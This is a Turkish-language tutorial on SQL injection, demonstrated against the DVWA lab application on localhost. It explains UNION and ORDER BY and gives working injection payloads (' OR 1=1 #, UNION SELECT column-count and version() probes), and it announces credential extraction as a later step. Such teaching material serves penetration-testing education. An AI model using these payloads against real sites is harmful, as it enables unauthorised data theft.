
SQL Injection, yani SQL Enjeksiyonu saldırısı bir web uygulamasına bağlı istemcinin gireceği input verisi aracılığıyla sunucudaki var olan SQL sorgusuna yeni SQL sorgusu ilave etmesine, diğer tabirle enjekte etmesine denir. SQL Injection saldırısı ile hedef sitenin hassas verilerine erişilebilir, hedef sitenin veritabanı modifiye edilebilir.
Uygulama kullanıcıdan bir ID değeri istemekte ve bu ID değerine karşılık gelen kullanıcı adı ve soyadını ekrana bastırmaktadır.
Arka planda çalışan komut ise aşağıdaki gibidir.
SELECT first_name, last_name FROM users WHERE user_id = ‘$id’
Not: Web uygulaması sızma testlerinde kaynak koda erişim sağlanamamaktadır. Konunun daha iyi anlaşılabilmesi için, yazı SQL sorgucuğu üzerinden hazırlanmıştır.
Yazı 7 alt başlık altında incelenecektir.
Temel SQL bilgileri verilecektir.
Uygulamanın çalışması yorumlanacaktır.
SQL enjeksiyonu basit bir şekilde tespit edilecektir.
ORDER BY ile SQL sorgusundaki kolon sayısı tespit edilecektir.
Bir diğer yöntem olarak UNION ile SQL sorgusundaki kolon sayısı tespit edilecektir.
UNION ile veritabanı hakkında temel bilgiler elde edilecektir.
UNION ile veritabanı kullanıcılarının kimlik bilgileri elde edilecektir.
1) Temel SQL Bilgileri
SQL sorgucukları ile veritabanı üzerinde işlem gerçekleştirilebilir. Örneğin MUSTERILER veritabanındaki tüm kişilerin adı, soyadı ve doğum yılları aşağıdaki gibi listelenebilir.
SELECT Ad, Soyad, DogumYili FROM MUSTERILER
“WHERE” ifadesi ile bir kolonun değerine göre filtreleme yapılabilir.
SELECT Ad, Soyad, DogumYili FROM MUSTERILER WHERE Ad=’Ahmet’
“OR” ile mantıksal sorgulama gerçekleştirilebilir.
SELECT Ad, Soyad, DogumYili FROM MUSTERILER WHERE Ad=’Ahmet’ OR Soyad=’Hudavendigarogullari’
“ORDER BY” ile belirtilen kolona göre sonuçlar listelenebilir.
SELECT Ad, Soyad, DogumYili FROM MUSTERILER WHERE Ad=’Ahmet’ ORDER BY DogumYili
“UNION” ile 2 tablonun seçilen alanları birleştirilerek tek bir tabloymuş gibi gösterilir. Örneğin OGRETMENLER ve OGRENCILER tablolarının kolonları aşağıdaki gibi farklı sayıda olsun:
OGRETMENLER: Sicil, TCKN, Ad, Soyad, DogumYili, DogumYeri, Bransi
OGRENCILER: TCKN, Ad, Soyad, Yasi, DogumYeri, VeliTelefonNo, VeliAd, VeliSoyad, VeliYakinligi
“UNION” ile 2 tablonun alanları birleştirilirken birleştirilecek iki tablonun da eşit sayıda kolonu seçilmesi gerekir ve seçilen bu kolonlardaki tekrarlı kayıtlar tek bir defa alınır (“UNION ALL” kullanıldığında tekrarlı ifadeler de alınır).
SELECT Ad, Soyad, DogumYeri FROM OGRETMENLER
UNION
SELECT Ad, Soyad, DogumYeri FROM OGRENCILER
2) Uygulamanın İşlevinin İncelenmesi
Metin alanına “1” girildiğinde, “1” ID’li kullanıcının isim ve soyismi “admin” ve “admin” olarak elde edilmiştir. Ayrıca girilen ID değerinin URL’de taşındığı da görülmektedir.
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

SELECT first_name, last_name FROM users WHERE user_id = ‘$id’;
Bunun için ekrandaki metin kutusuna tırnak (‘) işareti girin. Eğer tırnak işareti girildikten sonra site bir SQL syntax hatası veriyorsa — ki verecek — site SQL Injection açığına sahip demektir. Tırnak işareti siteye hata verdirir, çünkü sql sorgularında özel bir anlama sahiptir. Bu karakter SQL sorgularındaki WHERE koşullarında yer alan field’ların değerlerini sınırlandırmaya yarayan bir komuttur.
Tüm kimlik bilgileri ID değeri 1 arttırılarak tüm kullanıcıların isim ve soyisimleri benzer şekilde elde edilebilir.
1: admin admin
2: Gordon Brown
3: Hack Me
4: Pablo Picasso
5: Bob Smith
6: user user
Bunun yanında ID değeri olarak “7” girildiğinde ise herhangi bir sonuç ekrana bastırırlmadığı görülmektedir.

3) SQL Enjeksiyonu Zafiyetinin Tespiti
Metin alanına tek tırnak karakteri (“‘“) girildiğinde ise veritabanı tarafında bir hata ile karşılaşıldığı görülmektedir.
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ””’ at line 1
Not: Web uygulaması sızma testlerinde hata mesajları ekrana basılmayabilmektedir. Ekrana hata mesajının basılmaması SQL enjeksiyonu zafiyetinin olmadığını göstermeyebilir.
Bunun sebebi veritabanına gerçekleştirilen sorguda “$id” alanına “‘” değerinin atanması ve fazla sayıda tek tırmak işaretinden dolayı veritabanı sorgusunun hataya düşmesidir.
SELECT first_name, last_name FROM users WHERE user_id = ”’
ID alanına “12345′ OR 1=1 #” ifadesi girildiğinde ise tüm kullanıcılar listelenecektir.
‘ OR 1=1 #

Bunun sebebi veritabanına gerçekleştirilen sorguda “$id” alanına “12345′ or 1=1 #” değerinin atanmasıdır. “1=1” sonucu herzaman doğru olduğu ve “OR” ifadesi ile 1/True sonucu mantıksal işleme girdiği için “WHERE” sorgusu herhangi bir filtrelemeye gitmeden “users” tablosundaki tüm satırlar için “first_name” ve “last_name” kolonlarını listeleyecektir. Ayrıca girilen ifadenin sonundaki diyez karakterinden (“#”) sonraki ifadeler de yorum olarak değerlendirileceği için sql sorgucuğunun sonundaki tek tırnak işareti (“‘”) veritabanı tarafından işleme alınmamaıştır. Benzer olarak sql sorgucuğunda “Order By” veya “Group By” gibi ifadeler olsaydı, bunlar da yorum ifadesi olarak değerlendirilecekti.
SELECT first_name, last_name FROM users WHERE user_id = ‘12345’ OR 1=1 #’
Veritabanındaki Kolon Sayısının Tespiti
[php] 1′ UNION SELECT 1,2 # [/php]
sorgusu ile veritabanında iki kolon olduğunu gördük
Veritabanının Versiyon Bilgisi
[php]1′ UNION SELECT version(),2 # [/php]